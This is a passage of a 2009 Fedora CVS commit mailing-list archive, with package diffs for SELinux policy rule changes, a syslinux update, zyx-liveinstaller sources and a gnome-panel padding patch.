  allow xserver_unconfined_type { x_domain xserver_t }:x_resource *;
  allow xserver_unconfined_type xevent_type:{ x_event x_synthetic_event } *;
  
@@ -24960,7 +25030,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/authlogin.if serefpolicy-3.6.32/policy/modules/system/authlogin.if
 --- nsaserefpolicy/policy/modules/system/authlogin.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-14 10:09:41.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-28 09:49:28.000000000 -0400
 @@ -40,17 +40,76 @@
  ##	</summary>
  ## </param>
@@ -25626,7 +25696,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/init.te serefpolicy-3.6.32/policy/modules/system/init.te
 --- nsaserefpolicy/policy/modules/system/init.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/init.te	2009-10-08 12:27:01.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/init.te	2009-10-28 09:49:31.000000000 -0400
 @@ -17,6 +17,20 @@
  ## </desc>
  gen_tunable(init_upstart, false)
@@ -25751,7 +25821,11 @@ diff -b -B --ignore-all-space --exclude-
  files_tmp_filetrans(initrc_t, initrc_tmp_t, { file dir })
  
  init_write_initctl(initrc_t)
-@@ -249,10 +287,15 @@
+@@ -246,13 +284,19 @@
+ kernel_clear_ring_buffer(initrc_t)
+ kernel_get_sysvipc_info(initrc_t)
+ kernel_read_all_sysctls(initrc_t)
++kernel_request_load_module(initrc_t)
  kernel_rw_all_sysctls(initrc_t)
  # for lsof which is used by alsa shutdown:
  kernel_dontaudit_getattr_message_if(initrc_t)
@@ -25769,7 +25843,7 @@ diff -b -B --ignore-all-space --exclude-
  
  corenet_all_recvfrom_unlabeled(initrc_t)
  corenet_all_recvfrom_netlabel(initrc_t)
-@@ -272,16 +315,63 @@
+@@ -272,16 +316,63 @@
  dev_rw_sysfs(initrc_t)
  dev_list_usbfs(initrc_t)
  dev_read_framebuffer(initrc_t)
@@ -25834,7 +25908,7 @@ diff -b -B --ignore-all-space --exclude-
  
  domain_kill_all_domains(initrc_t)
  domain_signal_all_domains(initrc_t)
-@@ -291,7 +381,7 @@
+@@ -291,7 +382,7 @@
  domain_sigchld_all_domains(initrc_t)
  domain_read_all_domains_state(initrc_t)
  domain_getattr_all_domains(initrc_t)
@@ -25843,7 +25917,7 @@ diff -b -B --ignore-all-space --exclude-
  domain_getsession_all_domains(initrc_t)
  domain_use_interactive_fds(initrc_t)
  # for lsof which is used by alsa shutdown:
-@@ -306,14 +396,15 @@
+@@ -306,14 +397,15 @@
  files_getattr_all_pipes(initrc_t)
  files_getattr_all_sockets(initrc_t)
  files_purge_tmp(initrc_t)
@@ -25861,7 +25935,7 @@ diff -b -B --ignore-all-space --exclude-
  files_exec_etc_files(initrc_t)
  files_read_usr_files(initrc_t)
  files_manage_urandom_seed(initrc_t)
-@@ -324,48 +415,16 @@
+@@ -324,48 +416,16 @@
  files_mounton_isid_type_dirs(initrc_t)
  files_list_default(initrc_t)
  files_mounton_default(initrc_t)
@@ -25914,7 +25988,7 @@ diff -b -B --ignore-all-space --exclude-
  logging_send_syslog_msg(initrc_t)
  logging_manage_generic_logs(initrc_t)
  logging_read_all_logs(initrc_t)
-@@ -374,19 +433,22 @@
+@@ -374,19 +434,22 @@
  
  miscfiles_read_localization(initrc_t)
  # slapd needs to read cert files from its initscript
@@ -25938,7 +26012,7 @@ diff -b -B --ignore-all-space --exclude-
  ifdef(`distro_debian',`
  	dev_setattr_generic_dirs(initrc_t)
  
-@@ -422,8 +484,6 @@
+@@ -422,16 +485,12 @@
  	# init scripts touch this
  	clock_dontaudit_write_adjtime(initrc_t)
  
@@ -25947,7 +26021,16 @@ diff -b -B --ignore-all-space --exclude-
  	# for integrated run_init to read run_init_type.
  	# happens during boot (/sbin/rc execs init scripts)
  	seutil_read_default_contexts(initrc_t)
-@@ -450,11 +510,9 @@
+ 
+ 	# /lib/rcscripts/net/system.sh rewrites resolv.conf :(
+-	sysnet_create_config(initrc_t)
+-	sysnet_write_config(initrc_t)
+-	sysnet_setattr_config(initrc_t)	
++	sysnet_manage_config(initrc_t)
+ 
+ 	optional_policy(`
+ 		arpwatch_manage_data_files(initrc_t)
+@@ -450,11 +509,9 @@
  
  	# Red Hat systems seem to have a stray
  	# fd open from the initrd
@@ -25960,7 +26043,7 @@ diff -b -B --ignore-all-space --exclude-
  	# These seem to be from the initrd
  	# during device initialization:
  	dev_create_generic_dirs(initrc_t)
-@@ -464,6 +522,7 @@
+@@ -464,6 +521,7 @@
  	storage_raw_read_fixed_disk(initrc_t)
  	storage_raw_write_fixed_disk(initrc_t)
  
@@ -25968,7 +26051,7 @@ diff -b -B --ignore-all-space --exclude-
  	files_create_boot_flag(initrc_t)
  	files_rw_boot_symlinks(initrc_t)
  	# wants to read /.fonts directory
-@@ -492,11 +551,17 @@
+@@ -492,11 +550,17 @@
  	optional_policy(`
  		bind_manage_config_dirs(initrc_t)
  		bind_write_config(initrc_t)
@@ -25986,7 +26069,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	optional_policy(`
-@@ -515,6 +580,33 @@
+@@ -515,6 +579,33 @@
  	')
  ')
  
@@ -26020,7 +26103,7 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
  	amavis_search_lib(initrc_t)
  	amavis_setattr_pid_files(initrc_t)
-@@ -567,10 +659,19 @@
+@@ -567,10 +658,19 @@
  	dbus_connect_system_bus(initrc_t)
  	dbus_system_bus_client(initrc_t)
  	dbus_read_config(initrc_t)
@@ -26040,7 +26123,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -590,6 +691,10 @@
+@@ -590,6 +690,10 @@
  ')
  
  optional_policy(`
@@ -26051,7 +26134,7 @@ diff -b -B --ignore-all-space --exclude-
  	dev_read_usbfs(initrc_t)
  
  	# init scripts run /etc/hotplug/usb.rc
-@@ -646,20 +751,20 @@
+@@ -646,20 +750,20 @@
  ')
  
  optional_policy(`
@@ -26078,7 +26161,7 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	ifdef(`distro_redhat',`
-@@ -668,6 +773,7 @@
+@@ -668,6 +772,7 @@
  
  	mysql_stream_connect(initrc_t)
  	mysql_write_log(initrc_t)
@@ -26086,7 +26169,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -696,7 +802,6 @@
+@@ -696,7 +801,6 @@
  ')
  
  optional_policy(`
@@ -26094,7 +26177,7 @@ diff -b -B --ignore-all-space --exclude-
  	fs_write_ramfs_sockets(initrc_t)
  	fs_search_ramfs(initrc_t)
  
-@@ -718,8 +823,6 @@
+@@ -718,8 +822,6 @@
  	# bash tries ioctl for some reason
  	files_dontaudit_ioctl_all_pids(initrc_t)
  
@@ -26103,7 +26186,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -732,13 +835,16 @@
+@@ -732,13 +834,16 @@
  	squid_manage_logs(initrc_t)
  ')
  
@@ -26120,7 +26203,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -747,6 +853,7 @@
+@@ -747,6 +852,7 @@
  
  optional_policy(`
  	udev_rw_db(initrc_t)
@@ -26128,7 +26211,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -754,6 +861,15 @@
+@@ -754,6 +860,15 @@
  ')
  
  optional_policy(`
@@ -26144,7 +26227,7 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_domain(initrc_t)
  
  	ifdef(`distro_redhat',`
-@@ -764,6 +880,21 @@
+@@ -764,6 +879,21 @@
  	optional_policy(`
  		mono_domtrans(initrc_t)
  	')
@@ -26166,7 +26249,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -789,3 +920,31 @@
+@@ -789,3 +919,31 @@
  optional_policy(`
  	zebra_read_config(initrc_t)
  ')
@@ -26242,7 +26325,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/ipsec.te serefpolicy-3.6.32/policy/modules/system/ipsec.te
 --- nsaserefpolicy/policy/modules/system/ipsec.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/ipsec.te	2009-10-20 11:08:58.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/ipsec.te	2009-10-28 08:39:49.000000000 -0400
 @@ -6,6 +6,13 @@
  # Declarations
  #
@@ -30307,7 +30390,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-26 15:32:20.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-29 08:26:32.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.954
retrieving revision 1.955
diff -u -p -r1.954 -r1.955
--- selinux-policy.spec	27 Oct 2009 21:14:53 -0000	1.954
+++ selinux-policy.spec	29 Oct 2009 14:14:27 -0000	1.955
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 35%{?dist}
+Release: 36%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -445,6 +445,22 @@ exit 0
 %endif
 
 %changelog
+* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-36
+- Change labeling of /usr/share/yumex/yumex-yum-backend
+- Allow initrc_t to request loading kernel modules
+- Allow initrc_t to manage net_conf_t files
+- Allow prelink to manage tmp files for "delta rpm"
+- Allow livecd tool to transition to chfn and passwd
+- Allow cupsd to bind to howl port
+- Allow plymouth to delete /dev/null
+- dontaudit leaked userdomain sockets to xauth
+- Allow lircd to use pseudo terminal device
+- Allow sambagui to send syslog messages
+- dontaudit chrome using nfs and samba file systems if they are used for the homedir
+- Allow prelude-dispatch ipc_lock and setpcap
+- Change lircd /var/run specification
+- Define ports for dhcpcv6
+
 * Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
 - Allow bittlebee to connect to privoxy port
 - Allow iptables to work with shorewall



From pjones at fedoraproject.org  Thu Oct 29 14:16:42 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Thu, 29 Oct 2009 14:16:42 +0000 (UTC)
Subject: rpms/syslinux/devel syslinux-debuginfo.patch, 1.1, 1.2 syslinux.spec,
	1.62, 1.63
Message-ID: <20091029141642.9039611C02C9@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/syslinux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13176

Modified Files:
	syslinux-debuginfo.patch syslinux.spec 
Log Message:
* Thu Oct 29 2009 Peter Jones <pjones at redhat.com> - 3.83-1
- update to 3.83


syslinux-debuginfo.patch:
 linux/Makefile  |    2 +-
 mtools/Makefile |    2 +-
 utils/Makefile  |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

Index: syslinux-debuginfo.patch
===================================================================
RCS file: /cvs/extras/rpms/syslinux/devel/syslinux-debuginfo.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- syslinux-debuginfo.patch	28 Apr 2009 19:45:19 -0000	1.1
+++ syslinux-debuginfo.patch	29 Oct 2009 14:16:39 -0000	1.2
@@ -1,6 +1,6 @@
-diff -up syslinux-3.75/linux/Makefile.nostrip syslinux-3.75/linux/Makefile
---- syslinux-3.75/linux/Makefile.nostrip	2009-04-28 15:34:45.000000000 -0400
-+++ syslinux-3.75/linux/Makefile	2009-04-28 15:35:16.000000000 -0400
+diff -up syslinux-3.83/linux/Makefile.nostrip syslinux-3.83/linux/Makefile
+--- syslinux-3.83/linux/Makefile.nostrip	2009-04-28 15:34:45.000000000 -0400
++++ syslinux-3.83/linux/Makefile	2009-04-28 15:35:16.000000000 -0400
 @@ -20,7 +20,7 @@ include $(topdir)/MCONFIG
  OPTFLAGS = -g -Os
  INCLUDES = -I. -I.. -I../libinstaller
@@ -10,9 +10,9 @@ diff -up syslinux-3.75/linux/Makefile.no
  
  SRCS     = syslinux.c \
             ../libinstaller/syslxmod.c \
-diff -up syslinux-3.75/mtools/Makefile.nostrip syslinux-3.75/mtools/Makefile
---- syslinux-3.75/mtools/Makefile.nostrip	2009-04-28 15:34:51.000000000 -0400
-+++ syslinux-3.75/mtools/Makefile	2009-04-28 15:35:22.000000000 -0400
+diff -up syslinux-3.83/mtools/Makefile.nostrip syslinux-3.83/mtools/Makefile
+--- syslinux-3.83/mtools/Makefile.nostrip	2009-04-28 15:34:51.000000000 -0400
++++ syslinux-3.83/mtools/Makefile	2009-04-28 15:35:22.000000000 -0400
 @@ -4,7 +4,7 @@ include $(topdir)/MCONFIG
  OPTFLAGS = -g -Os
  INCLUDES = -I. -I.. -I../libfat -I../libinstaller
@@ -22,15 +22,15 @@ diff -up syslinux-3.75/mtools/Makefile.n
  
  SRCS     = syslinux.c \
  	   ../libinstaller/syslxmod.c \
-diff -up syslinux-3.75/utils/Makefile.nostrip syslinux-3.75/utils/Makefile
---- syslinux-3.75/utils/Makefile.nostrip	2009-04-28 15:35:02.000000000 -0400
-+++ syslinux-3.75/utils/Makefile	2009-04-28 15:35:48.000000000 -0400
+diff -urpN syslinux-3.83/utils/Makefile.strip syslinux-3.83/utils/Makefile
+--- syslinux-3.83/utils/Makefile.strip	2009-10-29 10:11:52.000000000 -0400
++++ syslinux-3.83/utils/Makefile	2009-10-29 10:11:53.000000000 -0400
 @@ -18,7 +18,7 @@ topdir = ..
  include $(topdir)/MCONFIG
  
  CFLAGS   = -W -Wall -Os -fomit-frame-pointer -D_FILE_OFFSET_BITS=64
 -LDFLAGS  = -O2 -s
-+LDFLAGS  = -O2 
++LDFLAGS  = -O2
  
  TARGETS	 = mkdiskimage isohybrid gethostip
- ASIS     = keytab-lilo lss16toppm md5pass ppmtolss16 sha1pass syslinux2ansi
+ ASIS     = keytab-lilo lss16toppm md5pass ppmtolss16 sha1pass syslinux2ansi \


Index: syslinux.spec
===================================================================
RCS file: /cvs/extras/rpms/syslinux/devel/syslinux.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- syslinux.spec	27 Jul 2009 05:20:03 -0000	1.62
+++ syslinux.spec	29 Oct 2009 14:16:39 -0000	1.63
@@ -1,8 +1,8 @@
 Summary: Simple kernel loader which boots from a FAT filesystem
 Name: syslinux
-Version: 3.75
-%define tarball_version 3.75
-Release: 4%{?dist}
+Version: 3.83
+%define tarball_version 3.83
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: http://syslinux.zytor.com/
@@ -85,6 +85,9 @@ rm -rf %{buildroot}
 %{_datadir}/syslinux/com32
 
 %changelog
+* Thu Oct 29 2009 Peter Jones <pjones at redhat.com> - 3.83-1
+- update to 3.83
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.75-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From sdz at fedoraproject.org  Thu Oct 29 14:20:07 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 29 Oct 2009 14:20:07 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/devel .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 zyx-liveinstaller.spec, 1.6, 1.7
Message-ID: <20091029142007.412B811C02C9@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14138

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	17 Oct 2009 22:43:09 -0000	1.6
+++ .cvsignore	29 Oct 2009 14:20:05 -0000	1.7
@@ -1 +1 @@
-zyx-liveinstaller-0.1.14.tar.bz2
+zyx-liveinstaller-0.1.16.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	17 Oct 2009 22:43:09 -0000	1.6
+++ sources	29 Oct 2009 14:20:06 -0000	1.7
@@ -1 +1 @@
-8848753b215fb7d82ef161724fae5cd6  zyx-liveinstaller-0.1.14.tar.bz2
+c3b19addbc9b1b74a4b229d99f3de42b  zyx-liveinstaller-0.1.16.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/zyx-liveinstaller.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- zyx-liveinstaller.spec	17 Oct 2009 22:43:09 -0000	1.6
+++ zyx-liveinstaller.spec	29 Oct 2009 14:20:06 -0000	1.7
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.14
+Version:        0.1.16
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.16-1
+- update to new upstream release
+
 * Sun Oct 18 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.14-1
 - update to new upstream release
 - adjust source url



From mclasen at fedoraproject.org  Thu Oct 29 14:20:57 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 29 Oct 2009 14:20:57 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 gnome-panel.spec, 1.382,
	1.383 panel-padding.patch, 1.1, 1.2
Message-ID: <20091029142057.C190F11C048B@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14193

Modified Files:
	gnome-panel.spec panel-padding.patch 
Log Message:
Make padding work in non-expanded panels



Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.382
retrieving revision 1.383
diff -u -p -r1.382 -r1.383
--- gnome-panel.spec	20 Oct 2009 23:32:39 -0000	1.382
+++ gnome-panel.spec	29 Oct 2009 14:20:54 -0000	1.383
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 11%{?dist}
+Release: 12%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -385,6 +385,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Thu Oct 29 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-12
+- Make padding work correctly in non-expanded panels (#529614)
+
 * Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-11
 - Remove a leftover debugging statement
 

panel-padding.patch:
 panel-profile.c           |    3 ++
 panel-profile.h           |    5 +++-
 panel-toplevel.c          |   44 ++++++++++++++++++++++++++++++++++++++
 panel-toplevel.h          |    3 ++
 panel-toplevel.schemas.in |   13 +++++++++++
 panel-widget.c            |   52 +++++++++++++++++++++++++++++++++-------------
 6 files changed, 105 insertions(+), 15 deletions(-)

Index: panel-padding.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/panel-padding.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- panel-padding.patch	15 Oct 2009 05:32:41 -0000	1.1
+++ panel-padding.patch	29 Oct 2009 14:20:54 -0000	1.2
@@ -1,7 +1,7 @@
-diff -u -r gnome-panel-2.28.0/gnome-panel/panel-profile.c hacked/gnome-panel/panel-profile.c
---- gnome-panel-2.28.0/gnome-panel/panel-profile.c	2009-09-21 12:29:33.000000000 -0400
-+++ hacked/gnome-panel/panel-profile.c	2009-10-15 00:41:56.366647539 -0400
-@@ -638,6 +638,7 @@
+diff -up gnome-panel-2.28.0/gnome-panel/panel-profile.c.panel-padding gnome-panel-2.28.0/gnome-panel/panel-profile.c
+--- gnome-panel-2.28.0/gnome-panel/panel-profile.c.panel-padding	2009-09-21 12:29:33.000000000 -0400
++++ gnome-panel-2.28.0/gnome-panel/panel-profile.c	2009-10-29 09:57:25.285484907 -0400
+@@ -638,6 +638,7 @@ TOPLEVEL_IS_WRITABLE_FUNC ("orientation"
  
  TOPLEVEL_GET_SET_FUNCS ("size",               toplevel,   int,  size,           int)
  TOPLEVEL_GET_SET_FUNCS ("expand",             toplevel,   bool, expand,         gboolean)
@@ -9,7 +9,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  TOPLEVEL_GET_SET_FUNCS ("auto_hide",          toplevel,   bool, auto_hide,      gboolean)
  TOPLEVEL_GET_SET_FUNCS ("enable_buttons",     toplevel,   bool, enable_buttons, gboolean)
  TOPLEVEL_GET_SET_FUNCS ("enable_arrows",      toplevel,   bool, enable_arrows,  gboolean)
-@@ -1185,6 +1186,7 @@
+@@ -1185,6 +1186,7 @@ panel_profile_toplevel_change_notify (GC
  	else UPDATE_INT ("monitor", monitor)
  	else UPDATE_STRING ("name", name)
  	else UPDATE_BOOL ("expand", expand)
@@ -17,7 +17,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	else UPDATE_STRING ("orientation", orientation)
  	else UPDATE_INT ("size", size)
  	else UPDATE_POS ("x", x, x_right)
-@@ -1706,6 +1708,7 @@
+@@ -1706,6 +1708,7 @@ panel_profile_load_toplevel (GConfClient
  	GET_STRING ("name", name);
  	GET_INT ("monitor", monitor);
  	GET_BOOL ("expand", expand);
@@ -25,10 +25,10 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	GET_STRING ("orientation", orientation);
  	GET_INT ("size", size);
  	GET_BOOL ("auto_hide", auto_hide);
-diff -u -r gnome-panel-2.28.0/gnome-panel/panel-profile.h hacked/gnome-panel/panel-profile.h
---- gnome-panel-2.28.0/gnome-panel/panel-profile.h	2009-04-19 13:45:09.000000000 -0400
-+++ hacked/gnome-panel/panel-profile.h	2009-10-15 00:44:04.449650481 -0400
-@@ -92,7 +92,10 @@
+diff -up gnome-panel-2.28.0/gnome-panel/panel-profile.h.panel-padding gnome-panel-2.28.0/gnome-panel/panel-profile.h
+--- gnome-panel-2.28.0/gnome-panel/panel-profile.h.panel-padding	2009-04-19 13:45:09.000000000 -0400
++++ gnome-panel-2.28.0/gnome-panel/panel-profile.h	2009-10-29 09:57:25.285484907 -0400
+@@ -92,7 +92,10 @@ void        panel_profile_set_toplevel_e
  						       gboolean       expand);
  gboolean    panel_profile_get_toplevel_expand         (PanelToplevel *toplevel);
  gboolean    panel_profile_is_writable_toplevel_expand (PanelToplevel *toplevel);
@@ -40,10 +40,10 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  void        panel_profile_set_toplevel_auto_hide      (PanelToplevel *toplevel,
  						       gboolean       auto_hide);
  gboolean    panel_profile_get_toplevel_auto_hide      (PanelToplevel *toplevel);
-diff -u -r gnome-panel-2.28.0/gnome-panel/panel-toplevel.c hacked/gnome-panel/panel-toplevel.c
---- gnome-panel-2.28.0/gnome-panel/panel-toplevel.c	2009-08-21 06:31:49.000000000 -0400
-+++ hacked/gnome-panel/panel-toplevel.c	2009-10-15 00:56:09.477897456 -0400
-@@ -79,6 +79,7 @@
+diff -up gnome-panel-2.28.0/gnome-panel/panel-toplevel.c.panel-padding gnome-panel-2.28.0/gnome-panel/panel-toplevel.c
+--- gnome-panel-2.28.0/gnome-panel/panel-toplevel.c.panel-padding	2009-08-21 06:31:49.000000000 -0400
++++ gnome-panel-2.28.0/gnome-panel/panel-toplevel.c	2009-10-29 09:57:25.287500667 -0400
+@@ -79,6 +79,7 @@ struct _PanelToplevelPrivate {
  	gboolean                expand;
  	PanelOrientation        orientation;
  	int                     size;
@@ -51,7 +51,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  
  	/* relative to the monitor origin */
  	int                     x;
-@@ -213,6 +214,7 @@
+@@ -213,6 +214,7 @@ enum {
  	PROP_0,
  	PROP_NAME,
  	PROP_EXPAND,
@@ -59,7 +59,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	PROP_ORIENTATION,
  	PROP_SIZE,
  	PROP_X,
-@@ -3862,6 +3864,9 @@
+@@ -3862,6 +3864,9 @@ panel_toplevel_set_property (GObject    
  	case PROP_EXPAND:
  		panel_toplevel_set_expand (toplevel, g_value_get_boolean (value));
  		break;
@@ -69,7 +69,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	case PROP_ORIENTATION:
  		panel_toplevel_set_orientation (toplevel, g_value_get_enum (value));
  		break;
-@@ -3956,6 +3961,9 @@
+@@ -3956,6 +3961,9 @@ panel_toplevel_get_property (GObject    
  	case PROP_EXPAND:
  		g_value_set_boolean (value, toplevel->priv->expand);
  		break;
@@ -79,7 +79,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  	case PROP_ORIENTATION:
  		g_value_set_enum (value, toplevel->priv->orientation);
  		break;
-@@ -4118,6 +4126,18 @@
+@@ -4118,6 +4126,18 @@ panel_toplevel_class_init (PanelToplevel
  
  	g_object_class_install_property (
  		gobject_class,
@@ -98,7 +98,7 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  		PROP_ORIENTATION,
  		g_param_spec_enum (
  			"orientation",
-@@ -4698,6 +4718,30 @@
+@@ -4698,6 +4718,30 @@ panel_toplevel_get_expand (PanelToplevel
  	return toplevel->priv->expand;
  }
  
@@ -129,10 +129,10 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  gboolean
  panel_toplevel_get_is_floating (PanelToplevel *toplevel)
  {
-diff -u -r gnome-panel-2.28.0/gnome-panel/panel-toplevel.h hacked/gnome-panel/panel-toplevel.h
---- gnome-panel-2.28.0/gnome-panel/panel-toplevel.h	2009-08-19 11:28:09.000000000 -0400
-+++ hacked/gnome-panel/panel-toplevel.h	2009-10-15 00:46:33.972648015 -0400
-@@ -83,6 +83,9 @@
+diff -up gnome-panel-2.28.0/gnome-panel/panel-toplevel.h.panel-padding gnome-panel-2.28.0/gnome-panel/panel-toplevel.h
+--- gnome-panel-2.28.0/gnome-panel/panel-toplevel.h.panel-padding	2009-08-19 11:28:09.000000000 -0400
++++ gnome-panel-2.28.0/gnome-panel/panel-toplevel.h	2009-10-29 09:57:25.288484940 -0400
+@@ -83,6 +83,9 @@ G_CONST_RETURN char *panel_toplevel_get_
  void                 panel_toplevel_set_expand             (PanelToplevel       *toplevel,
  							    gboolean             expand);
  gboolean             panel_toplevel_get_expand             (PanelToplevel       *toplevel);
@@ -142,9 +142,9 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
  void                 panel_toplevel_set_orientation        (PanelToplevel       *toplevel,
  							    PanelOrientation     orientation);
  PanelOrientation     panel_toplevel_get_orientation        (PanelToplevel       *toplevel);
-diff -u -r gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in hacked/gnome-panel/panel-toplevel.schemas.in
---- gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in	2009-07-01 09:06:23.000000000 -0400
-+++ hacked/gnome-panel/panel-toplevel.schemas.in	2009-10-15 00:39:49.307648259 -0400
+diff -up gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in.panel-padding gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in
+--- gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in.panel-padding	2009-07-01 09:06:23.000000000 -0400
++++ gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in	2009-10-29 09:57:25.288484940 -0400
 @@ -103,6 +103,19 @@
      </schema>
   
@@ -165,10 +165,10 @@ diff -u -r gnome-panel-2.28.0/gnome-pane
        <key>/schemas/apps/panel/toplevels/x</key>
        <owner>panel</owner>
        <type>int</type>
-diff -u -r gnome-panel-2.28.0/gnome-panel/panel-widget.c hacked/gnome-panel/panel-widget.c
---- gnome-panel-2.28.0/gnome-panel/panel-widget.c	2009-08-11 07:32:38.000000000 -0400
-+++ hacked/gnome-panel/panel-widget.c	2009-10-15 01:00:07.721647522 -0400
-@@ -710,9 +710,12 @@
+diff -up gnome-panel-2.28.0/gnome-panel/panel-widget.c.panel-padding gnome-panel-2.28.0/gnome-panel/panel-widget.c
+--- gnome-panel-2.28.0/gnome-panel/panel-widget.c.panel-padding	2009-08-11 07:32:38.000000000 -0400
++++ gnome-panel-2.28.0/gnome-panel/panel-widget.c	2009-10-29 10:10:43.531226534 -0400
